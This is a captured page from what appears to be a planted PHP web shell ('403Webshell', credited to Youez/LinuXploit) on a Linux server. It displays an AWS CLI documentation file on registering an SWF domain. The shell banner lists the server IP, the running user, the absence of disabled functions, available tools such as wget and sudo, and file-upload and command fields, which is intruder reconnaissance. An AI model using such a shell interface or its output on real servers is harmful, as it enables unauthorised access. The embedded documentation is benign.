403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.216.70
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/awscli/examples/swf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/awscli/examples/swf/register-domain.rst
Registering a Domain
--------------------

You can use the AWS CLI to register new domains. Use the ``swf register-domain`` command.  There are two required
parameters, ``--name``, which takes the domain name, and ``--workflow-execution-retention-period-in-days``, which takes
an integer to specify the number of days to retain workflow execution data on this domain, up to a maxium period of 90
days (for more information, see the `SWF FAQ <http://aws.amazon.com/swf/faqs/#retain_limit>`). Workflow execution data
will not be retained after the specified number of days have passed.

Here's an example of registering a new domain:

::

    $ aws swf register-domain --name MyNeatNewDomain --workflow-execution-retention-period-in-days 0
    ""

When you register a domain, nothing is returned (""), but you can use
``swf list-domains`` or ``swf describe-domain`` to see the new domain.
For example:

::

    $ aws swf list-domains --registration-status REGISTERED
    {
        "domainInfos": [
            {
                "status": "REGISTERED",
                "name": "DataFrobotz"
            },
            {
                "status": "REGISTERED",
                "name": "MyNeatNewDomain"
            },
            {
                "status": "REGISTERED",
                "name": "erontest"
            }
        ]
    }

Using ``swf describe-domain``:

::

    aws swf describe-domain --name MyNeatNewDomain
    {
        "domainInfo": {
            "status": "REGISTERED",
            "name": "MyNeatNewDomain"
        },
        "configuration": {
            "workflowExecutionRetentionPeriodInDays": "0"
        }
    }

See Also
--------

-  `RegisterDomain <http://docs.aws.amazon.com/amazonswf/latest/apireference/API_RegisterDomain.html>`__
   in the *Amazon Simple Workflow Service API Reference*


Youez - 2016 - github.com/yon3zu
LinuXploit